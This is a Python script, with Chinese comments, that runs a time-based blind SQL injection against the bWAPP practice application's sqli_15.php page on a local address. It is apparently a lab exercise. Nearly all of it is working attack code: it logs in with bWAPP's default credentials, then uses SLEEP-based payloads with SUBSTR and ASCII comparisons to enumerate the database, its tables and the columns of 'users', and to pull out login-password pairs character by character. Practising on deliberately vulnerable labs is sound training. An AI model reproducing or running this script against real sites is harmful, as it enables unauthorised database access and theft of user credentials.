import requests
import time

r = requests.session()
# 登录
login_url = "http://192.168.1.10:888/login.php"
params = dict(
    login="bee",
    password="bug",
    security_level=0,
    form="submit"
)

res = r.post(login_url, params)


# 获取数据库名称长度
def get_database_name_length():
    count = 0
    """
    1、获取数据库名称长度
    2、盲注
    Iron Man' And LENGTH(DATABASE()) = ? and sleep(2)#
    3、循环 1-50次
    PS : palyload不能使用#，需使用--空格
    :return:
    """
    for i in range(50):
        url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man'+And+LENGTH(DATABASE()) = {} and sleep(2) -- &action=search".format(
            i)
        start_time = time.time()
        # 请求前
        r.get(url)
        # 请求后
        if time.time() - start_time > 1:
            print("长度为{}".format(i))
        count = i
    return count


# 获取数据库名称
def get_database_name(count):
    """
    1、数据库库名长度（外层循环）
    2、盲注方式
    Iron Man' AND SUBSTR(DATABASE(),？,1) = '？' AND SLEEP(2)#
    :return:
    """
    for i in range(count + 1):
        for j in range(33, 128):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man'+AND ascii(SUBSTR(DATABASE(),{},1)) = {} AND SLEEP(2) -- &action=search".format(
                i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print(chr(j))


# 获取表个数
def get_table_count() -> int:
    """
    1、拿到BWAPP库下所有表的个数
    2、盲注
    Iron Man' And (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = 'bWAPP') = ? and sleep(2)
    3、循环 1-50次
    :return:
    """
    count = 0
    for i in range(50):
        url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = 'bWAPP') = {} and sleep(2) --  &action=search".format(
            i)
        start_time = time.time()
        # 请求前
        r.get(url)
        # 请求后
        if time.time() - start_time > 1:
            print("一共有{}张表".format(i))
        count = i
    return count


# 获取每一张表名的长度
def get_table_length_of_eath_table(count):
    """
    1、拿到每张表的长度
    2、盲注
    length(table_name) limit
    Iron Man' And (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = 'bWAPP') = ? and sleep(2)
    3、循环 1-50次
    """
    for i in range(count + 1):
        for j in range(100):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and (SELECT length(table_name) FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {},1) = {} and sleep(2) --  &action=search".format(
                i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print("=" * 20)
                print("表长度为{}".format(j))
                get_table_name_of_each_table(i, j)
                print("=" * 20)


# 获取表名
def get_table_name_of_each_table(index, count):
    """
    substr((SELECT table_name FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {},1),{},1)
    ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {?},1),{?},1)) = {?}
    :param index:
    :param count:
    :return:
    """
    # count 每张表的长度
    for i in range(count + 1):
        for j in range(33, 138):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {},1),{},1)) = {} and sleep(2) --  &action=search".format(
                index, i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print(chr(j))


# 已知表名 users
# 拿到users这个表字段个数
def get_colum_count() -> int:
    count = 0
    for i in range(50):
        url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name = 'users') = {} and sleep(2) --  &action=search".format(
            i)
        start_time = time.time()
        # 请求前
        r.get(url)
        # 请求后
        if time.time() - start_time > 1:
            print("一共有{}个字段".format(i))
        count = i
    return count


# 拿到users这个表字段的长度
def get_column_length_of_each_column(count):
    for i in range(count + 1):
        for j in range(100):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and (SELECT length(column_name) FROM information_schema.columns WHERE table_name = 'users' limit {},1) = {} and sleep(2) --  &action=search".format(
                i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print("=" * 20)
                print("字段长度为{}".format(j))
                get_column_name_of_each_table(i, j)
                print("=" * 20)


# 拿到users这个表每个字段名
def get_column_name_of_each_table(index, count):
    """
    substr((SELECT table_name FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {},1),{},1)
    ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema = 'bWAPP' limit {?},1),{?},1)) = {?}
    :param index:
    :param count:
    :return:
    """
    # count 每张表的长度
    for i in range(count + 1):
        for j in range(33, 138):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' limit {},1),{},1)) = {} and sleep(2) --  &action=search".format(
                index, i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print(chr(j))


def get_username_password():
    """
    (select concat(login,'-',password) from users limit 0,1)
    substr((select concat(login,'-',password) from users limit 0,1),1,1)
    ascii(substr((select concat(login,'-',password) from users limit 0,1),1,1)) = ?

    :return:
    """
    data = []
    for i in range(100):
        for j in range(33, 127):
            url = "http://192.168.1.10:888/sqli_15.php?title=Iron+Man' and  ascii(substr((select concat(login,'-',password) from users limit 0,1),{},1)) = {} and  sleep(2) --  &action=search".format(
                i, j)
            start_time = time.time()
            # 请求前
            r.get(url)
            # 请求后
            if time.time() - start_time > 1:
                print(chr(j))
                data.append(chr(j))
    print('.'.join(data))

if __name__ == '__main__':
    # get_database_name(get_database_name_length())
    # get_table_count()
    # get_table_length_of_eath_table(get_table_count())
    # get_colum_count()
    # get_column_length_of_each_column(get_colum_count())
    get_username_password()
